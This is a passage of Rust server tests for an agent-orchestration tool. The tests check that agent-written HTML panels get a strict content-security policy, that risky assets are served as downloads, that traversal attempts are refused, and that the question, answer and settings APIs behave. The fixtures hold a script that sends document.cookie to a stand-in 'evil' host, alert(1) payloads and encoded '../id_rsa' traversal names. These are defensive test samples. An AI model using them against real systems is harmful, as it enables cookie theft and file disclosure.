7928            "fix".to_owned(),
7929            "Merge this?".to_owned(),
7930            "the diff is in the panel".to_owned(),
7931            vec!["merge".to_owned(), "hold".to_owned()],
7932        );
7933        // Staged outside the questions root, because `put_panel` copies from
7934        // wherever the agent left its files.
7935        let staging = fx.home.path().join("staging");
7936        std::fs::create_dir_all(&staging).expect("staging dir");
7937        let sources: Vec<PathBuf> = assets
7938            .iter()
7939            .map(|(name, bytes)| {
7940                let path = staging.join(name);
7941                std::fs::write(&path, bytes).expect("write staged asset");
7942                path
7943            })
7944            .collect();
7945        store
7946            .put_panel(&mut q, html, &sources)
7947            .expect("write the panel");
7948        store.put(&mut q).expect("put question");
7949        q.id
7950    }
7951
7952    /// A talk on disk, without talking to a model.
7953    ///
7954    /// Written as JSON straight into the store the server reads, because the
7955    /// only constructor `talk::begin` offers takes no turn but still requires
7956    /// a real caller-visible flow. The one thing this cannot make up is the
7957    /// seat, so it is built with the real `SeatState::new` and serialized -
7958    /// the alternative, hand-writing that object, would make these tests fail
7959    /// the day the seat gains a field.
7960    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7961        seed_talk_at(&fx.talks(), id, status)
7962    }
7963
7964    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7965        std::fs::create_dir_all(store.root()).expect("talks dir");
7966        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7967            .expect("serialize a seat");
7968        let body = serde_json::json!({
7969            "schema": 1,
7970            "id": id,
7971            "repo": "/repo/magi",
7972            "agent": "mock",
7973            "status": status,
7974            "turns": [],
7975            "created_at": Timestamp::now().to_string(),
7976            "updated_at": Timestamp::now().to_string(),
7977            "seat": seat,
7978        });
7979        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7980        store.get(id).expect("the seeded talk has to be readable");
7981        id.to_owned()
7982    }
7983
7984    #[tokio::test]
7985    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7986        let fx = Fixture::start().await;
7987        let id = panel(
7988            &fx,
7989            "<h1>Merge?</h1><img src=\"diff.svg\">",
7990            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7991        );
7992
7993        for path in [
7994            format!("/api/questions/{id}/panel"),
7995            format!("/api/questions/{id}/asset/diff.svg"),
7996        ] {
7997            let res = fx.get(&path).await;
7998            assert_eq!(res.status, 200, "{path}: {}", res.body);
7999            // The whole string, not a substring. A weakened directive - an
8000            // `img-src *` that lets a panel beacon out to a remote host, a
8001            // `script-src` anything, a missing `form-action` that lets it post
8002            // the owner's decision to a third party - has to fail here, and a
8003            // `contains` assertion would let every one of those through.
8004            assert_eq!(
8005                res.header("content-security-policy"),
8006                Some(
8007                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8008                     font-src data:; base-uri 'none'; form-action 'none'; \
8009                     frame-ancestors 'self'"
8010                ),
8011                "{path} is the only thing between a hostile panel and the tailnet"
8012            );
8013            assert_eq!(
8014                res.header("x-content-type-options"),
8015                Some("nosniff"),
8016                "{path}: a browser must not re-decide the type we sent"
8017            );
8018            assert_eq!(
8019                res.header("referrer-policy"),
8020                Some("no-referrer"),
8021                "{path}: a panel must not leak the question id off the machine"
8022            );
8023
8024            // The front end mounts the frame only after a `HEAD` says the
8025            // panel is there, so `HEAD` has to answer with the same status and
8026            // the same policy as `GET` - a preflight that came back without
8027            // the CSP would mean a frame mounted on an unverified promise.
8028            let pre = fx.head(&path).await;
8029            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8030            assert_eq!(
8031                pre.header("content-security-policy"),
8032                res.header("content-security-policy"),
8033                "{path}: the preflight carries the same policy"
8034            );
8035            assert_eq!(
8036                pre.header("content-type"),
8037                res.header("content-type"),
8038                "{path}: the preflight carries the same type"
8039            );
8040        }
8041    }
8042
8043    #[tokio::test]
8044    async fn a_panel_reaches_the_browser_byte_for_byte() {
8045        let fx = Fixture::start().await;
8046        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
8047        // tag, an entity, and a multi-byte character. The sandbox is what makes
8048        // this safe, so nothing here may be rewritten on the way out - a
8049        // rewritten diff is a diff the owner cannot trust.
8050        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
8051        let id = panel(&fx, html, &[]);
8052
8053        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8054
8055        assert_eq!(res.status, 200);
8056        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8057        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8058        assert_eq!(
8059            res.header("content-disposition"),
8060            None,
8061            "the panel itself is rendered in the frame, not downloaded"
8062        );
8063    }
8064
8065    #[tokio::test]
8066    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
8067        let fx = Fixture::start().await;
8068        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
8069        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
8070        let id = panel(
8071            &fx,
8072            "<img src=\"diff.svg\"><img src=\"shot.png\">",
8073            &[("diff.svg", svg), ("shot.png", png)],
8074        );
8075
8076        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
8077        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
8078
8079        assert_eq!(as_svg.status, 200);
8080        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
8081        // An SVG is XML that may carry script. Inside the panel it is an
8082        // `<img src>` and the script cannot run; opened at the top level it
8083        // would be a document on magi's own origin, so the browser is told to
8084        // download it instead of rendering it.
8085        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
8086
8087        assert_eq!(as_png.status, 200);
8088        assert_eq!(as_png.header("content-type"), Some("image/png"));
8089        assert_eq!(
8090            as_png.header("content-disposition"),
8091            None,
8092            "a raster image has no execution surface, so tapping it still shows it"
8093        );
8094        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
8095    }
8096
8097    #[tokio::test]
8098    async fn an_html_asset_is_never_served_as_html() {
8099        let fx = Fixture::start().await;
8100        let id = panel(
8101            &fx,
8102            "<p>see the notes</p>",
8103            &[
8104                (
8105                    "notes.html",
8106                    b"<script>fetch('http://evil/'+document.cookie)</script>",
8107                ),
8108                ("hook.js", b"fetch('http://evil/')"),
8109                ("data.json", b"{}"),
8110                ("HEADLINE.TXT", b"plain"),
8111            ],
8112        );
8113
8114        for name in ["notes.html", "hook.js", "data.json"] {
8115            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
8116            assert_eq!(res.status, 200, "{name}: {}", res.body);
8117            // Serving this as text/html would be a way to reach agent markup
8118            // at the top level of the operator's browser, outside the frame's
8119            // sandbox and outside its CSP - which is the whole thing the panel
8120            // design exists to prevent. Unlisted types are downloads.
8121            assert_eq!(
8122                res.header("content-type"),
8123                Some("application/octet-stream"),
8124                "{name} must not be a type the browser will execute or render"
8125            );
8126        }
8127        // The whitelist is matched case-insensitively, so an agent shouting the
8128        // extension still gets a readable file rather than a download.
8129        let txt = fx
8130            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
8131            .await;
8132        assert_eq!(
8133            txt.header("content-type"),
8134            Some("text/plain; charset=utf-8")
8135        );
8136    }
8137
8138    #[tokio::test]
8139    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
8140        let fx = Fixture::start().await;
8141        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8142        // Something outside the panel directory that a traversal would reach if
8143        // one got through, so a passing test is not merely "the file was
8144        // missing anyway".
8145        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
8146
8147        // Decoded before this server's handler sees them: axum percent-decodes
8148        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
8149        // string with a NUL in it. All three look like ordinary single-segment
8150        // filenames to the router, so the router passes them through and
8151        // `valid_asset_name` is what refuses them - for the literal `..`, and
8152        // for `/`, `\` and NUL not being in the permitted character set.
8153        for encoded in [
8154            "%2e%2e%2fid_rsa",
8155            "..%2fid_rsa",
8156            "..%5cid_rsa",
8157            "%2e%2e%5cid_rsa",
8158            "diff%00.svg",
8159            "..",
8160            ".hidden",
8161            "%2e%2e%2f%2e%2e%2fid_rsa",
8162        ] {
8163            let res = fx
8164                .get(&format!("/api/questions/{id}/asset/{encoded}"))
8165                .await;
8166            assert_eq!(
8167                res.status, 400,
8168                "`{encoded}` has to be refused by name, not looked up: {}",
8169                res.body
8170            );
8171            assert!(res.json()["error"].is_string(), "{}", res.body);
8172        }
8173
8174        // Not decoded, and never this handler's problem: a real slash makes the
8175        // request one segment too long for `/api/questions/{id}/asset/{name}`,
8176        // so axum's router has no route to match and answers before any code
8177        // here runs. Asserted so that a future route with a wildcard segment
8178        // cannot quietly open this door.
8179        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
8180            let res = fx
8181                .get(&format!("/api/questions/{id}/asset/{literal}"))
8182                .await;
8183            assert_eq!(
8184                res.status, 404,
8185                "`{literal}` must not match the asset route at all: {}",
8186                res.body
8187            );
8188        }
8189    }
8190
8191    #[tokio::test]
8192    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
8193        let fx = Fixture::start().await;
8194        let plain = ask(&fx, "Which backend?", &["SQLite"]);
8195        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8196
8197        // A question nobody wrote a panel for. The client preflights with HEAD
8198        // and cannot see inside a sandboxed frame, so this must be a status and
8199        // not an empty page.
8200        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
8201        assert_eq!(none.status, 404, "{}", none.body);
8202        assert!(none.json()["error"].is_string(), "{}", none.body);
8203        assert_eq!(
8204            fx.head(&format!("/api/questions/{plain}/panel"))
8205                .await
8206                .status,
8207            404,
8208            "the preflight is the only way the client can learn this"
8209        );
8210
8211        // A name that is perfectly legal and simply is not there.
8212        let missing = fx
8213            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8214            .await;
8215        assert_eq!(missing.status, 404, "{}", missing.body);
8216        assert!(missing.json()["error"].is_string(), "{}", missing.body);
8217
8218        // A question that does not exist at all, on both routes.
8219        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8220        assert_eq!(
8221            fx.get("/api/questions/nope/asset/diff.svg").await.status,
8222            404
8223        );
8224    }
8225
8226    #[tokio::test]
8227    async fn a_run_with_an_open_question_reads_as_waiting() {
8228        let fx = Fixture::start().await;
8229        let run = "20260902-000000-beef".to_owned();
8230        write_run(&fx.runs(), &run, RunStatus::Implementing);
8231
8232        let before = fx.get("/api/runs").await.json();
8233        assert_eq!(before[0]["waiting"], false, "{before}");
8234
8235        let store = fx.questions();
8236        let mut q = Question::new(
8237            run.clone(),
8238            "implement".to_owned(),
8239            "impl-A".to_owned(),
8240            "Which backend?".to_owned(),
8241            String::new(),
8242            vec!["SQLite".to_owned()],
8243        );
8244        store.put(&mut q).expect("put");
8245
8246        let during = fx.get("/api/runs").await.json();
8247        assert_eq!(during[0]["waiting"], true, "{during}");
8248
8249        // Answered: the run is moving again, and the flag has to follow without
8250        // anything having rewritten run.json.
8251        q.answer(Answer::Choice("SQLite".to_owned()))
8252            .expect("answer");
8253        store.put(&mut q).expect("put");
8254        let after = fx.get("/api/runs").await.json();
8255        assert_eq!(after[0]["waiting"], false, "{after}");
8256    }
8257
8258    #[tokio::test]
8259    async fn an_open_question_is_listed_and_counted_by_health() {
8260        let fx = Fixture::start().await;
8261        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8262
8263        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8264        let listed = fx.get("/api/questions").await.json();
8265        assert_eq!(listed.as_array().expect("array").len(), 1);
8266        assert_eq!(listed[0]["id"], id);
8267        assert_eq!(listed[0]["status"], "open");
8268        assert_eq!(listed[0]["choices"][1], "Redis");
8269        // The count is what makes the phone's indicator honest: it is the one
8270        // number meaning nothing will move until a human acts.
8271        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8272    }
8273
8274    #[tokio::test]
8275    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8276        let fx = Fixture::start().await;
8277        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8278        let path = format!("/api/questions/{id}/answer");
8279
8280        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8281        assert_eq!(res.status, 200, "{}", res.body);
8282        let body = res.json();
8283        assert_eq!(body["status"], "answered");
8284        assert_eq!(body["answer"]["choice"], "Redis");
8285
8286        // Answered from the terminal in between the list and the tap: the UI
8287        // must be able to tell this from a bad request, so it can show the
8288        // recorded answer instead of an error.
8289        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8290        assert_eq!(again.status, 409, "{}", again.body);
8291        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8292    }
8293
8294    #[tokio::test]
8295    async fn saying_something_appends_a_turn_without_answering() {
8296        let fx = Fixture::start().await;
8297        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8298        let path = format!("/api/questions/{id}/say");
8299
8300        let res = fx
8301            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8302            .await;
8303        assert_eq!(res.status, 200, "{}", res.body);
8304        let body = res.json();
8305        assert_eq!(body["status"], "open", "talking back is not a decision");
8306        assert_eq!(body["answer"], Value::Null);
8307        assert_eq!(body["thread"][0]["who"], "operator");
8308        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8309        assert_eq!(body["waiting_on_agent"], true);
8310        // Still open, still counted, still exactly one question.
8311        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8312    }
8313
8314    #[tokio::test]
8315    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8316        let fx = Fixture::start().await;
8317        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8318
8319        let list = fx.get("/api/questions").await.json();
8320        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8321
8322        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8323        assert_eq!(res.status, 409, "{}", res.body);
8324        let q = fx.questions().get(&id).unwrap();
8325        assert!(q.status.open());
8326        assert!(q.consult.is_none());
8327    }
8328
8329    #[tokio::test]
8330    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8331        let fx = Fixture::start().await;
8332        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8333        let cfg = Config {
8334            agents: vec![crate::config::AgentSpec {
8335                id: "mock".to_owned(),
8336                kind: crate::config::AgentKind::Command,
8337                model: None,
8338                command: vec!["true".to_owned()],
8339                extra_args: Vec::new(),
8340                env: Default::default(),
8341                prompt_delivery: None,
8342            }],
8343            ..Config::default()
8344        };
8345        let talk = crate::talk::begin(
8346            &fx.talks(),
8347            &cfg,
8348            fx.home.path().to_path_buf(),
8349            Some("mock"),
8350        )
8351        .unwrap();
8352        let mut task = Task::new(
8353            "t".to_owned(),
8354            "Do it".to_owned(),
8355            PathBuf::from("/repo/magi"),
8356            Source::Agent {
8357                run: talk.id.clone(),
8358                node: crate::queue::CHAT_NODE.to_owned(),
8359            },
8360        );
8361        task.start("20260902-000000-beef".to_owned());
8362        fx.queue().put(&mut task).unwrap();
8363
8364        let list = fx.get("/api/questions").await.json();
8365        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8366        assert_eq!(
8367            list[0]["choices"],
8368            serde_json::json!(["SQLite", "Redis"]),
8369            "the hand-over is never a choice"
8370        );
8371        fx.questions()
8372            .update(&id, |q| {
8373                q.node = crate::land::APPROVAL_NODE.into();
8374                q.choices = vec!["merge".into(), "hold".into()];
8375                Ok(())
8376            })
8377            .unwrap();
8378        let list = fx.get("/api/questions").await.json();
8379        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8380        let _ = id;
8381    }
8382
8383    #[tokio::test]
8384    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8385        let fx = Fixture::start().await;
8386        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8387        fx.questions()
8388            .update(&id, |q| {
8389                q.node = crate::land::APPROVAL_NODE.into();
8390                q.choices = vec!["merge".into(), "hold".into()];
8391                Ok(())
8392            })
8393            .unwrap();
8394        let cfg = Config {
8395            agents: vec![crate::config::AgentSpec {
8396                id: "mock".to_owned(),
8397                kind: crate::config::AgentKind::Command,
8398                model: None,
8399                command: vec!["true".to_owned()],
8400                extra_args: Vec::new(),
8401                env: Default::default(),
8402                prompt_delivery: None,
8403            }],
8404            ..Config::default()
8405        };
8406        // Not a git working tree, so its `magi.toml` is read from disk.
8407        let repo = fx.home.path().join("chat-repo");
8408        std::fs::create_dir_all(&repo).unwrap();
8409        let toml = repo.join("magi.toml");
8410        std::fs::write(&toml, "this is = = not toml").unwrap();
8411        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8412        let mut task = Task::new(
8413            "t".to_owned(),
8414            "Do it".to_owned(),
8415            PathBuf::from("/repo/magi"),
8416            Source::Agent {
8417                run: talk.id.clone(),
8418                node: crate::queue::CHAT_NODE.to_owned(),
8419            },
8420        );
8421        task.start("20260902-000000-beef".to_owned());
8422        fx.queue().put(&mut task).unwrap();
8423
8424        let path = format!("/api/questions/{id}/consult");
8425        let res = fx.post(&path, None).await;
8426        assert!(res.status >= 400, "{}", res.body);
8427        assert!(fx.questions().get(&id).unwrap().consult.is_none());
8428        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8429
8430        std::fs::write(&toml, "").unwrap();
8431        let res = fx.post(&path, None).await;
8432        assert_eq!(res.status, 202, "{}", res.body);
8433        assert!(fx.questions().get(&id).unwrap().consult.is_some());
8434        let q = fx.questions().get(&id).unwrap();
8435        assert!(q.status.open());
8436        assert!(q.answer.is_none());
8437        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8438    }
8439
8440    #[tokio::test]
8441    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8442        let fx = Fixture::start().await;
8443        let store = fx.questions();
8444        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8445        assert_eq!(
8446            fx.get("/api/health").await.json()["questions_needs_owner"],
8447            1
8448        );
8449
8450        // The owner asks back instead of deciding: the ask bar, the nav badge
8451        // and the title must stop naming this question, because there is
8452        // nothing to decide until the agent answers - `status` alone cannot
8453        // say that, which is the whole reason `questions_needs_owner` exists
8454        // alongside `questions_open`.
8455        let res = fx
8456            .post(
8457                &format!("/api/questions/{id}/say"),
8458                Some(r#"{"body":"why not Postgres?"}"#),
8459            )
8460            .await;
8461        assert_eq!(res.status, 200, "{}", res.body);
8462        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8463        assert_eq!(
8464            fx.get("/api/health").await.json()["questions_needs_owner"],
8465            0,
8466            "waiting on the agent is not waiting on the owner"
8467        );
8468
8469        // `magi ask --thread` replying is what brings the owner count back -
8470        // the same event that would resume the CLI call blocked in `magi
8471        // ask`.
8472        let mut q = store.get(&id).expect("get");
8473        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8474            .expect("reply");
8475        store.put(&mut q).expect("put");
8476        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8477        assert_eq!(
8478            fx.get("/api/health").await.json()["questions_needs_owner"],
8479            1,
8480            "the agent's reply is what should light the banner back up"
8481        );
8482    }
8483
8484    #[tokio::test]
8485    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8486        let fx = Fixture::start().await;
8487        let store = fx.questions();
8488
8489        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8490        let res = fx
8491            .post(
8492                &format!("/api/questions/{empty_id}/say"),
8493                Some(r#"{"body":"   "}"#),
8494            )
8495            .await;
8496        assert_eq!(res.status, 400, "{}", res.body);
8497
8498        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8499        let mut answered = store.get(&answered_id).expect("get");
8500        answered
8501            .answer(Answer::Choice("SQLite".to_owned()))
8502            .expect("answer");
8503        store.put(&mut answered).expect("put");
8504        let res = fx
8505            .post(
8506                &format!("/api/questions/{answered_id}/say"),
8507                Some(r#"{"body":"still there?"}"#),
8508            )
8509            .await;
8510        assert_eq!(res.status, 409, "{}", res.body);
8511
8512        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8513        let mut abandoned = store.get(&abandoned_id).expect("get");
8514        abandoned.abandon("timed out");
8515        store.put(&mut abandoned).expect("put");
8516        let res = fx
8517            .post(
8518                &format!("/api/questions/{abandoned_id}/say"),
8519                Some(r#"{"body":"still there?"}"#),
8520            )
8521            .await;
8522        assert_eq!(res.status, 409, "{}", res.body);
8523    }
8524
8525    #[tokio::test]
8526    async fn an_answer_the_question_does_not_offer_is_refused() {
8527        let fx = Fixture::start().await;
8528        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8529        let path = format!("/api/questions/{id}/answer");
8530
8531        for body in [
8532            r#"{"choice":"Postgres"}"#,
8533            r#"{"text":"whatever you think"}"#,
8534            r#"{"choice":"Redis","text":"both"}"#,
8535            r#"{}"#,
8536        ] {
8537            let res = fx.post(&path, Some(body)).await;
8538            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8539            assert!(res.json()["error"].is_string(), "{}", res.body);
8540        }
8541        // Nothing above may have answered it.
8542        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8543    }
8544
8545    #[tokio::test]
8546    async fn a_free_text_question_takes_text_and_not_a_choice() {
8547        let fx = Fixture::start().await;
8548        let id = ask(&fx, "What should the flag be called?", &[]);
8549        let path = format!("/api/questions/{id}/answer");
8550
8551        assert_eq!(
8552            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8553            400
8554        );
8555        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8556        assert_eq!(res.status, 200, "{}", res.body);
8557        assert_eq!(res.json()["answer"]["text"], "--json");
8558    }
8559
8560    #[tokio::test]
8561    async fn an_unknown_question_is_a_json_404() {
8562        let fx = Fixture::start().await;
8563        let res = fx
8564            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8565            .await;
8566        assert_eq!(res.status, 404, "{}", res.body);
8567        assert!(res.json()["error"].is_string());
8568    }
8569
8570    #[tokio::test]
8571    async fn notifications_list_read_dismiss_and_health_agree() {
8572        let fx = Fixture::start().await;
8573        let store = Notices::at(fx.home.path().join("notifications"));
8574        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8575        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8576
8577        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8578        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8579
8580        let health = fx.get("/api/health").await.json();
8581        assert_eq!(health["notifications_unread"], 2);
8582        assert_ne!(
8583            health["notifications_rev"], rev0,
8584            "the badge must move live"
8585        );
8586
8587        let listed = fx.get("/api/notifications").await.json();
8588        assert_eq!(listed["unread"], 2);
8589        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8590        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8591
8592        let read = fx
8593            .post(&format!("/api/notifications/{}/read", a.id), None)
8594            .await;
8595        assert_eq!(read.status, 200, "{}", read.body);
8596        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8597
8598        let gone = fx
8599            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8600            .await;
8601        assert_eq!(gone.status, 200, "{}", gone.body);
8602        let listed = fx.get("/api/notifications").await.json();
8603        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8604        assert_eq!(listed["unread"], 0);
8605
8606        store.raise(Notice::info("x", "again")).unwrap();
8607        let all = fx.post("/api/notifications/read-all", None).await;
8608        assert_eq!(all.status, 200, "{}", all.body);
8609        assert_eq!(all.json()["marked"], 1);
8610        assert_eq!(
8611            fx.get("/api/health").await.json()["notifications_unread"],
8612            0
8613        );
8614
8615        let missing = fx.post("/api/notifications/nope/read", None).await;
8616        assert_eq!(missing.status, 404, "{}", missing.body);
8617        assert!(missing.json()["error"].is_string());
8618    }
8619
8620    /// New work reaches the queue through `magi task add`, a standing talk's
8621    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
8622    /// so the compose form and that route are gone. The tests that covered
8623    /// that route's validation went with it, and nothing was left asserting
8624    /// it stays gone — so a re-added handler would silently let the phone
8625    /// file briefs no one validated.
8626    #[tokio::test]
8627    async fn a_task_cannot_be_filed_over_the_phone_directly() {
8628        let f = Fixture::start().await;
8629
8630        let res = f
8631            .post(
8632                "/api/queue",
8633                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8634            )
8635            .await;
8636
8637        assert_eq!(
8638            res.status, 405,
8639            "POST /api/queue must not be a route: {}",
8640            res.body
8641        );
8642        assert!(
8643            f.queue().list().is_empty(),
8644            "a task filed by a route that does not exist must not reach the disk"
8645        );
8646        // The path itself is still served — the Queue view reads it — and the
8647        // per-task controls are untouched by the entry being removed.
8648        assert_eq!(f.get("/api/queue").await.status, 200);
8649    }
8650
8651    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
8652    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8653        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8654            .expect("checkout dir");
8655    }
8656
8657    /// Two command agents, so a config needs no real CLI.
8658    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8659
8660    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8661        let tmp = TempDir::new().expect("tempdir");
8662        let repo = tmp.path().join("repo");
8663        std::fs::create_dir_all(&repo).expect("repo dir");
8664        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8665        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8666        if let Some(text) = machine_toml {
8667            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8668            std::fs::write(&machine, text).expect("machine toml");
8669        }
8670        (tmp, repo, machine)
8671    }
8672
8673    #[tokio::test]
8674    async fn settings_get_reports_sources_and_the_advisors_fallback() {
8675        let (_tmp, repo, machine) =
8676            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8677        let f = Fixture::with_repo_and_machine(repo, machine).await;
8678        let res = f.get("/api/settings").await;
8679        assert_eq!(res.status, 200, "{}", res.body);
8680        let v = res.json();
8681        assert!(v["error"].is_null(), "{v}");
8682        let role = |k: &str| {
8683            v["roles"]
8684                .as_array()
8685                .and_then(|r| r.iter().find(|x| x["key"] == k))
8686                .cloned()
8687                .unwrap_or_else(|| panic!("no role {k}: {v}"))
8688        };
8689        assert_eq!(role("judges")["source"], "machine");
8690        assert_eq!(role("judges")["editable"], true);
8691        assert_eq!(role("implementers")["source"], "default");
8692        let adv = role("advisors");
8693        assert_eq!(adv["fallback"], "judges");
8694        assert!(
8695            adv["seats"]
8696                .as_array()
8697                .is_some_and(|s| s.iter().all(|x| x == "b")),
8698            "{adv}"
8699        );
8700        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8701        assert_eq!(v["agents"][0]["source"], "repo");
8702    }
8703
8704    #[tokio::test]
8705    async fn settings_get_reports_a_config_that_does_not_parse() {
8706        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8707        let f = Fixture::with_repo_and_machine(repo, machine).await;
8708        let res = f.get("/api/settings").await;
8709        assert_eq!(res.status, 200, "{}", res.body);
8710        let v = res.json();
8711        assert!(v["error"]["message"].is_string(), "{v}");
8712        assert!(
8713            v["error"]["path"]
8714                .as_str()
8715                .is_some_and(|p| p.ends_with("magi.toml")),
8716            "{v}"
8717        );
8718        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8719    }
8720
8721    #[tokio::test]
8722    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8723        let (_tmp, repo, machine) = settings_dirs(
8724            SETTINGS_AGENTS,
8725            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
8726        );
8727        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8728        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8729        let rev = f.get("/api/settings").await.json()["revision"]
8730            .as_str()
8731            .expect("revision")
8732            .to_owned();
8733        let body = serde_json::json!({
8734            "revision": rev,
8735            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8736        })
8737        .to_string();
8738        let res = f.put("/api/settings/roles", &body).await;
8739        assert_eq!(res.status, 200, "{}", res.body);
8740        let text = std::fs::read_to_string(&machine).expect("machine");
8741        assert_eq!(
8742            text,
8743            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8744        );
8745        assert_eq!(
8746            std::fs::read(repo.join("magi.toml")).expect("read"),
8747            repo_before
8748        );
8749        let again = f.get("/api/settings").await.json();
8750        let judges = again["roles"]
8751            .as_array()
8752            .expect("roles")
8753            .iter()
8754            .find(|r| r["key"] == "judges")
8755            .expect("judges")
8756            .clone();
8757        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8758        // The old revision is now stale.
8759        let stale = f.put("/api/settings/roles", &body).await;
8760        assert_eq!(stale.status, 409, "{}", stale.body);
8761    }
8762
8763    #[tokio::test]
8764    async fn settings_counts_are_reported_and_saved() {
